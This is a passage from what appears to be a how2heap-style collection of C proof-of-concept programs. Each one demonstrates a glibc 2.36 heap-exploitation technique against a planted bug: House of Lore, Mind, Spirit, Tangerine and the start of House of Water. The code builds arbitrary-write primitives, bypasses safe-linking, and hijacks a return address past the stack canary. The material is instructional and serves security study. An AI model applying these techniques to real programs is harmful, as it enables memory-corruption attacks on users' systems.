unlink checks\\n\");\n\n\ta[0] = 0;\t// prev_size (Not Used)\n\ta[1] = 0x60; // size\n\ta[2] = (size_t) a; // fwd\n\ta[3] = (size_t) a; // bck\n\n\tprintf(\"Our fake chunk at %p looks like:\\n\", a);\n\tprintf(\"prev_size (not used): %#lx\\n\", a[0]);\n\tprintf(\"size: %#lx\\n\", a[1]);\n\tprintf(\"fwd: %#lx\\n\", a[2]);\n\tprintf(\"bck: %#lx\\n\", a[3]);\n\n\tprintf(\"\\nWe allocate 0x28 bytes for 'b'.\\n\"\n\t\t   \"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\\n\"\n\t\t   \"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\\n\");\n\tuint8_t *b = (uint8_t *) malloc(0x28);\n\tprintf(\"b: %p\\n\", b);\n\n\tint real_b_size = malloc_usable_size(b);\n\tprintf(\"Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\\n\", real_b_size);\n\n\t/* In this case it is easier if the chunk size attribute has a least significant byte with\n\t * a value of 0x00. The least significant byte of this will be 0x00, because the size of \n\t * the chunk includes the amount requested plus some amount required for the metadata. */\n\tprintf(\"\\nWe allocate 0xf8 bytes for 'c'.\\n\");\n\tuint8_t *c = (uint8_t *) malloc(0xf8);\n\n\tprintf(\"c: %p\\n\", c);\n\n\tuint64_t* c_size_ptr = (uint64_t*)(c - 8);\n\t// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit\n\n\tprintf(\"\\nc.size: %#lx\\n\", *c_size_ptr);\n\tprintf(\"c.size is: (0x100) | prev_inuse = 0x101\\n\");\n\n\tprintf(\"We overflow 'b' with a single null byte into the metadata of 'c'\\n\");\n\t// VULNERABILITY\n\tb[real_b_size] = 0;\n\t// VULNERABILITY\n\tprintf(\"c.size: %#lx\\n\", *c_size_ptr);\n\n\tprintf(\"It is easier if b.size is a multiple of 0x100 so you \"\n\t\t   \"don't change the size of b, only its prev_inuse bit\\n\");\n\n\t// Write a fake prev_size to the end of b\n\tprintf(\"\\nWe write a fake prev_size to the last %lu bytes of 'b' so that \"\n\t\t   \"it will consolidate with our fake chunk\\n\", sizeof(size_t));\n\tsize_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);\n\tprintf(\"Our fake prev_size will be %p - %p = %#lx\\n\", c - sizeof(size_t) * 2, a, fake_size);\n\t*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;\n\n\t// Change the fake chunk's size to reflect c's new prev_size\n\tprintf(\"\\nMake sure that our fake chunk's size is equal to c's new prev_size.\\n\");\n\ta[1] = fake_size;\n\n\tprintf(\"Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n\", a[1]);\n\n\t// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk\n\tprintf(\"\\nFill tcache.\\n\");\n\tintptr_t *x[7];\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tx[i] = malloc(0xf8);\n\t}\n\n\tprintf(\"Fill up tcache list.\\n\");\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tfree(x[i]);\n\t}\n\n\tprintf(\"Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\\n\");\n\tfree(c);\n\tprintf(\"Our fake chunk size is now %#lx (c.size + fake_prev_size)\\n\", a[1]);\n\n\tprintf(\"\\nNow we can call malloc() and it will begin in our fake chunk\\n\");\n\n\tintptr_t *d = malloc(0x158);\n\tprintf(\"Next malloc(0x158) is at %p\\n\", d);\n\n\t// tcache poisoning\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\");\n\tuint8_t *pad = malloc(0x28);\n\tfree(pad);\n\n\tprintf(\"\\nNow we free chunk 'b' to launch a tcache poisoning attack\\n\");\n\tfree(b);\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, pad);\n\n\tprintf(\"We overwrite b's fwd pointer using chunk 'd'\\n\");\n\t// requires a heap leak because it assumes the address of d is known.\n\t// since house of einherjar also requires a heap leak, we can simply just use it here.\n\td[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);\n\n\t// take target out\n\tprintf(\"Now we can cash out the target chunk.\\n\");\n\tmalloc(0x28);\n\tintptr_t *e = malloc(0x28);\n\tprintf(\"\\nThe new chunk is at %p\\n\", e);\n\n\t// sanity check\n\tassert(e == target);\n\tprintf(\"Got control on target/stack!\\n\\n\");\n}\n"
  },
  {
    "path": "glibc_2.36/house_of_lore.c",
    "content": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of smallbin corruption.\n\n[ ... ]\n\nelse\n    {\n      bck = victim->bk;\n    if (__glibc_unlikely (bck->fd != victim)){\n\n                  errstr = \"malloc(): smallbin double linked list corrupted\";\n                  goto errout;\n                }\n\n       set_inuse_bit_at_offset (victim, nb);\n       bin->bk = bck;\n       bck->fd = bin;\n\n       [ ... ]\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nvoid jackpot(){ fprintf(stderr, \"Nice jump d00d\\n\"); exit(0); }\n\nint main(int argc, char * argv[]){\n\n\n  intptr_t* stack_buffer_1[4] = {0};\n  intptr_t* stack_buffer_2[4] = {0};\n  void* fake_freelist[7][4];\n\n  fprintf(stderr, \"\\nWelcome to the House of Lore\\n\");\n  fprintf(stderr, \"This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n\");\n  fprintf(stderr, \"This is tested against Ubuntu 22.04 - 64bit - glibc-2.35\\n\\n\");\n\n  fprintf(stderr, \"Allocating the victim chunk\\n\");\n  intptr_t *victim = malloc(0x100);\n  fprintf(stderr, \"Allocated the first small chunk on the heap at %p\\n\", victim);\n\n  fprintf(stderr, \"Allocating dummy chunks for using up tcache later\\n\");\n  void *dummies[7];\n  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);\n\n  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk\n  intptr_t *victim_chunk = victim-2;\n\n  fprintf(stderr, \"stack_buffer_1 at %p\\n\", (void*)stack_buffer_1);\n  fprintf(stderr, \"stack_buffer_2 at %p\\n\", (void*)stack_buffer_2);\n\n  fprintf(stderr, \"Create a fake free-list on the stack\\n\");\n  for(int i=0; i<6; i++) {\n    fake_freelist[i][3] = fake_freelist[i+1];\n  }\n  fake_freelist[6][3] = NULL;\n  fprintf(stderr, \"fake free-list at %p\\n\", fake_freelist);\n\n  fprintf(stderr, \"Create a fake chunk on the stack\\n\");\n  fprintf(stderr, \"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted\"\n         \"in second to the last malloc, which putting stack address on smallbin list\\n\");\n  stack_buffer_1[0] = 0;\n  stack_buffer_1[1] = 0;\n  stack_buffer_1[2] = victim_chunk;\n\n  fprintf(stderr, \"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 \"\n         \"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake \"\n         \"chunk on stack\");\n  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n\n  fprintf(stderr, \"Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash \"\n          \"introduced by smallbin-to-tcache mechanism\\n\");\n  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];\n  \n  fprintf(stderr, \"Allocating another large chunk in order to avoid consolidating the top chunk with\"\n         \"the small one during the free()\\n\");\n  void *p5 = malloc(1000);\n  fprintf(stderr, \"Allocated the large chunk on the heap at %p\\n\", p5);\n\n\n  fprintf(stderr, \"Freeing dummy chunk\\n\");\n  for(int i=0; i<7; i++) free(dummies[i]);\n  fprintf(stderr, \"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n  free((void*)victim);\n\n  fprintf(stderr, \"\\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  fprintf(stderr, \"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n\");\n  fprintf(stderr, \"This means that the chunk %p will be inserted in front of the SmallBin\\n\", victim);\n\n  void *p2 = malloc(1200);\n  fprintf(stderr, \"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n\", p2);\n\n  fprintf(stderr, \"The victim chunk has been sorted and its fwd and bk pointers updated\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  //------------VULNERABILITY-----------\n\n  fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack\n\n  //------------------------------------\n  fprintf(stderr, \"Now take all dummies chunk in tcache out\\n\");\n  for(int i=0; i<7; i++) malloc(0x100);\n\n\n  fprintf(stderr, \"Now allocating a chunk with size equal to the first one freed\\n\");\n  fprintf(stderr, \"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n\");\n\n  void *p3 = malloc(0x100);\n\n  fprintf(stderr, \"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n\");\n  char *p4 = malloc(0x100);\n  fprintf(stderr, \"p4 = malloc(0x100)\\n\");\n\n  fprintf(stderr, \"\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n\",\n         stack_buffer_2[2]);\n\n  fprintf(stderr, \"\\np4 is %p and should be on the stack!\\n\", p4); // this chunk will be allocated on stack\n  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n\n  long offset = (long)__builtin_frame_address(0) - (long)p4;\n  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n  // sanity check\n  assert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.36/house_of_mind_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n/*\n\nHouse of Mind - Fastbin Variant\n==========================\n\nThis attack is similar to the original 'House of Mind' in that it uses\na fake non-main arena in order to write to a new location. This\nuses the fastbin for a WRITE-WHERE primitive in the 'fastbin'\nvariant of the original attack though. The original write for this\ncan be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. \n\nBy being able to allocate an arbitrary amount of chunks, a single byte\noverwrite on a chunk size and a memory leak, we can control a super\npowerful primitive. \n\nThis could be used in order to write a freed pointer to an arbitrary\nlocation (which seems more useful). Or, this could be used as a\nwrite-large-value-WHERE primitive (similar to unsortedbin attack). \n Both are interesting in their own right though but the first\noption is the most powerful primitive, given the right setting.\n\nMalloc chunks have a specified size and this size information\nspecial metadata properties (prev_inuse, mmap chunk and non-main arena). \nThe usage of non-main arenas is the focus of this exploit. For more information \non this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. \n\nFirst, we need to understand HOW the non-main arena is known from a chunk.\n\nThis the 'heap_info' struct: \n\nstruct _heap_info\n{\n  mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointer\n  struct _heap_info *prev; // Previous heap.\n  size_t size;            // Current size in bytes.\n  size_t mprotect_size;   // Size in bytes that has been mprotected\n  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment\n} heap_info; \n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48\n\nThe important thing to note is that the 'malloc_state' within\nan arena is grabbed from the ar_ptr, which is the FIRST entry \nof this. Malloc_state == mstate == arena \n\nThe main arena has a special pointer. However, non-main arenas (mstate)\nare at the beginning of a heap section. They are grabbed with the \nfollowing code below, where the user controls the 'ptr' in 'arena_for_chunk':\n\n#define heap_for_ptr(ptr) \\\n  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n#define arena_for_chunk(ptr) \\\n  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)\n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127\n\nThis macro takes the 'ptr' and subtracts a large value because the \n'heap_info' should be at the beginning of this heap section. Then, \nusing this, it can find the 'arena' to use. \n\nThe idea behind the attack is to use a fake arena to write pointers \nto locations where they should not go but abusing the 'arena_for_chunk' \nfunctionality when freeing a fastbin chunk.\n\nThis POC does the following things: \n- Finds a valid arena location for a non-main arena.\n- Allocates enough heap chunks to get to the non-main arena location where \n  we can control the values of the arena data. \n- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.\n- Using this fake arena (ar_ptr), we can use the fastbin to write\n  to an unexpected location of the 'ar_ptr' with a heap pointer. \n\nRequirements: \n- A heap leak in order to know where the fake 'heap_info' is located at.\n\t- Could be possible to avoid with special spraying techniques\n- An unlimited amount of allocations\n- A single byte overflow on the size of a chunk\n\t- NEEDS to be possible to put into the fastbin. \n\t- So, either NO tcache or the tcache needs to be filled. \n- The location of the malloc state(ar_ptr) needs to have a value larger\n  than the fastbin size being freed at malloc_state.system_mem otherwise\n  the chunk will be assumed to be invalid.\n\t- This can be manually inserted or CAREFULLY done by lining up\n\t  values in a proper way. \n- The NEXT chunk, from the one that is being freed, must be a valid size\n(again, greater than 0x20 and less than malloc_state.system_mem)\n\n\nRandom perks:\n- Can be done MULTIPLE times at the location, with different sized fastbin\n  chunks. \n- Does not brick malloc, unlike the unsorted bin attack. \n- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. \n\n\n\n************************************\nWritten up by Maxwell Dulin (Strikeout) \n************************************\n*/\n\nint main(){\n\n\tprintf(\"House of Mind - Fastbin Variant\\n\");\n\tputs(\"==================================\");\n\tprintf(\"The goal of this technique is to create a fake arena\\n\");\n\tprintf(\"at an offset of HEAP_MAX_SIZE\\n\");\n\t\n\tprintf(\"Then, we write to the fastbins when the chunk is freed\\n\");\n\tprintf(\"This creates a somewhat constrained WRITE-WHERE primitive\\n\");\n\t// Values for the allocation information.\t\n\tint HEAP_MAX_SIZE = 0x4000000;\n\tint MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635\n\n\tprintf(\"Find initial location of the heap\\n\");\n\t// The target location of our attack and the fake arena to use\n\tuint8_t* fake_arena = malloc(0x1000); \n\tuint8_t* target_loc = fake_arena + 0x30;\n\n\tuint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;\n\n\t/*\n\tPrepare a valid 'malloc_state' (arena) 'system_mem' \n\tto store a fastbin. This is important because the size\n\tof a chunk is validated for being too small or too large\n\tvia the 'system_mem' of the 'malloc_state'. This just needs\n\tto be a value larger than our fastbin chunk.\n\t*/\n\tprintf(\"Set 'system_mem' (offset 0x888) for fake arena\\n\");\n\tfake_arena[0x888] = 0xFF;\n\tfake_arena[0x889] = 0xFF; \n\tfake_arena[0x88a] = 0xFF; \n\n\tprintf(\"Target Memory Address for overwrite: %p\\n\", target_loc);\n\tprintf(\"Must set data at HEAP_MAX_SIZE (0x%x) offset\\n\", HEAP_MAX_SIZE);\n\n\t// Calculate the location of our fake arena\n\tuint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);\n\tuint64_t* fake_heap_info = (uint64_t*) new_arena_value;\n\n\tuint64_t* user_mem = malloc(MAX_SIZE);\n\tprintf(\"Fake Heap Info struct location: %p\\n\", fake_heap_info);\n\tprintf(\"Allocate until we reach a MAX_HEAP_SIZE offset\\n\");\t\n\n\t/* \n\tThe fake arena must be at a particular offset on the heap.\n\tSo, we allocate a bunch of chunks until our next chunk\n\twill be in the arena. This value was calculated above.\n\t*/\n\twhile((long long)user_mem < new_arena_value){\n\t\tuser_mem = malloc(MAX_SIZE);\n\t}\n\n\t// Use this later to trigger craziness\n\tprintf(\"Create fastbin sized chunk to be victim of attack\\n\");\n\tuint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60\n\tuint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem\n\tprintf(\"Fastbin Chunk to overwrite: %p\\n\", fastbin_chunk);\n\n\tprintf(\"Fill up the TCache so that the fastbin will be used\\n\");\n\t// Fill the tcache to make the fastbin to be used later. \n\tuint64_t* tcache_chunks[7];\n\tfor(int i = 0; i < 7; i++){\n\t\ttcache_chunks[i] = malloc(0x50);\n\t}\t\n\tfor(int i = 0; i < 7; i++){\n\t\tfree(tcache_chunks[i]);\n\t}\n\n\n\t/*\n\tCreate a FAKE malloc_state pointer for the heap_state\n\tThis is the 'ar_ptr' of the 'heap_info' struct shown above. \n\tThis is the first entry in the 'heap_info' struct at offset 0x0\n\t at the heap.\n\n\tWe set this to the location where we want to write a value to.\n\tThe location that gets written to depends on the fastbin chunk\n\tsize being freed. This will be between an offset of 0x8 and 0x40\n\tbytes. For instance, a chunk with a size of 0x20 would be in the\n\t0th index of fastbinsY struct. When this is written to, we will\n\twrite to an offset of 8 from the original value written.\n\t- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686\n\t*/\n\tprintf(\"Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\\n\", fake_arena);\n\tfake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)\n\tprintf(\"Target Write at %p prior to exploitation: 0x%x\\n\", target_loc, *(target_loc));\n\n\t/*\n\tSet the non-main arena bit on the size. \n\tAdditionally, we keep the size the same as the original\n\tallocation because there is a sanity check on the fastbin (when freeing)\n\tthat the next chunk has a valid size. \n\n\tWhen grabbing the non-main arena, it will use our choosen arena!\n\tFrom there, it will write to the fastbin because of the size of the\n\tchunk.\n\n\t///// Vulnerability! Overwriting the chunk size \n\t*/\n\tprintf(\"Set non-main arena bit on the fastbin chunk\\n\");\n\tputs(\"NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\\n\");\n\tchunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit\n\n\t//// End vulnerability \n\n\t/*\n\tThe offset being written to with the fastbin chunk address\n\tdepends on the fastbin BEING used and the malloc_state itself. \n\tIn 2.31, the offset from the beginning of the malloc_state\n\tto the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an \n\tadditional byte offset of 0x20. In total, the writing offset\n\tfrom the arena location is 0x30 bytes.\n\tfrom the arena location to where the write actually occurs. \n\tThis is a similar concept to bk - 0x10 from the unsorted\n\tbin attack. \n\t*/\n\n\tprintf(\"When we free the fastbin chunk with the non-main arena bit\\n\");\n\tprintf(\"set, it will cause our fake 'heap_info' struct to be used.\\n\");\n\tprintf(\"This will dereference our fake arena location and write\\n\");\n\tprintf(\"the address of the heap to an offset of the arena pointer.\\n\");\n\n\tprintf(\"Trigger the magic by freeing the chunk!\\n\");\n\tfree(fastbin_chunk); // Trigger the madness\n\n\t// For this particular fastbin chunk size, the offset is 0x28. \n\tprintf(\"Target Write at %p: 0x%llx\\n\", target_loc, *((unsigned long long*) (target_loc)));\n\tassert(*((unsigned long *) (target_loc)) != 0);\n}\n"
  },
  {
    "path": "glibc_2.36/house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demonstrates the house of spirit attack.\");\n\tputs(\"This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.\");\n\tputs(\"Required primitives: known target address, ability to set up the start/end of the target memory\");\n\n\tputs(\"\\nStep 1: Allocate 7 chunks and free them to fill up tcache\");\n\tvoid *chunks[7];\n\tfor(int i=0; i<7; i++) {\n\t\tchunks[i] = malloc(0x30);\n\t}\n\tfor(int i=0; i<7; i++) {\n\t\tfree(chunks[i]);\n\t}\n\n\tputs(\"\\nStep 2: Prepare the fake chunk\");\n\t// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)\n\tlong fake_chunks[10] __attribute__ ((aligned (0x10)));\n\tprintf(\"The target fake chunk is at %p\\n\", fake_chunks);\n\tprintf(\"It contains two chunks. The first starts at %p and the second at %p.\\n\", &fake_chunks[1], &fake_chunks[9]);\n\tprintf(\"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tputs(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.\");\n\tprintf(\"Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\\n\", &fake_chunks[1]);\n\tfake_chunks[1] = 0x40; // this is the size\n\n\tprintf(\"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n\");\n\tprintf(\"Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\\n\", &fake_chunks[9]);\n\tfake_chunks[9] = 0x1234; // nextsize\n\n\tputs(\"\\nStep 3: Free the first fake chunk\");\n\tputs(\"Note that the address of the fake chunk must be 16-byte aligned.\\n\");\n\tvoid *victim = &fake_chunks[2];\n\tfree(victim);\n\n\tputs(\"\\nStep 4: Take out the fake chunk\");\n\tprintf(\"Now the next calloc will return our fake chunk at %p!\\n\", &fake_chunks[2]);\n\tprintf(\"malloc can do the trick as well, you just need to do it for 8 times.\");\n\tvoid *allocated = calloc(1, 0x30);\n\tprintf(\"malloc(0x30): %p, fake chunk: %p\\n\", allocated, victim);\n\n\tassert(allocated == victim);\n}\n"
  },
  {
    "path": "glibc_2.36/house_of_tangerine.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10L\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// size used for poisoned tcache\n#define CHUNK_SIZE_1 0x40\n#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)\n\n// could also be split into multiple lower size allocations\n#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)\n#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)\n\n/**\n * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64)\n *\n * House of Tangerine is the modernized version of House of Orange\n * and is able to corrupt heap without needing to call free() directly\n *\n * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer\n * by abusing the tcache freelist. (requires heap leak on and after 2.32)\n *\n * this version expects a positive and negative OOB (e.g. BOF)\n * or a positive OOB in editing a previous chunk\n *\n * This version requires 5 (6*) malloc calls and 3 OOB\n *\n *  *to make the PoC more reliable we need to malloc and probe the current top chunk size,\n *  this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead\n *\n * Special Thanks to pepsipu for creating the challenge \"High Frequency Troubles\"\n * from Pico CTF 2024 that inspired this exploitation technique\n */\nint main() {\n  size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;\n  char win[0x10] = \"WIN\\0WIN\\0WIN\\0\\x06\\xfe\\x1b\\xe2\";\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1);\n  assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3);\n\n  puts(\"Constants:\");\n  printf(\"chunk header = 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align = 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align = 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size = 0x%lx\\n\", FENCEPOST);\n  printf(\"size_1 = 0x%lx\\n\", SIZE_1);\n\n  printf(\"target tcache top size = 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);\n\n  // target is malloc aligned 0x10\n  target = ((size_t) win + (MALLOC_ALIGN - 1)) & MALLOC_MASK;\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  heap_ptr = malloc(PROBE);\n  top_size = heap_ptr[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // calculate size_2\n\n  size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1;\n  size_2 &= PAGE_MASK;\n  size_2 &= MALLOC_MASK;\n\n\n  printf(\"size_2 = 0x%lx\\n\", size_2);\n\n  // first allocation \n  heap_ptr = malloc(size_2);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"new first top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  /*\n   * malloc (larger than available_top_size), to free previous top_chunk using _int_free.\n   * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged\n   * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n   * we prevent the top_chunk from being merged by lowering its size\n   * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged\n   */\n\n  printf(\"size_3 = 0x%lx\\n\", SIZE_3);\n  heap_ptr = malloc(SIZE_3);\n\n  top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];\n  printf(\"current top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  new_top_size = top_size & PAGE_MASK;\n  heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;\n  printf(\"new top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  printf(\"freed top_chunk size = 0x%lx\\n\", freed_top_size);\n\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  // this will be our vuln_tcache for tcache poisoning\n  vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];\n\n  printf(\"tcache next ptr: 0x%lx\\n\", vuln_tcache);\n\n  // free the previous top_chunk\n  heap_ptr = malloc(SIZE_3);\n\n  // corrupt next ptr into pointing to target\n  // use a heap leak to bypass safe linking (GLIBC >= 2.32)\n  heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);\n\n  // allocate first tcache (corrupt next tcache bin)\n  heap_ptr = malloc(SIZE_1);\n\n  // get arbitrary ptr for reads or writes\n  heap_ptr = malloc(SIZE_1);\n\n  // proof that heap_ptr now points to the same string as target\n  assert((size_t) heap_ptr == target);\n  puts((char *) heap_ptr);\n}\n"
  },
  {
    "path": "glibc_2.36/house_of_water.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/* \n * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache\n * metadata control primitive.\n *\n * Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.\n * There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.\n * An article explaining this newer variant and its differences from the original House of Water can be found at:\n * https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md\n *\n * The technique starts by allocating the 'relative chunk' immediately after tcache metadata,\n * sharing the same ASLR-partially-controlled second nibble (which is 2) as the target fake chunk location.\n * \n * Then it crafts fake tcache entries in the 0x320 & 0x330 bins using two other controlled chunks matching the 'relative chunk' size,\n * then frees all three chunks into the unsorted bin while keeping the 'relative chunk' centered.\n * A large allocation sorts them into the same small bin linked 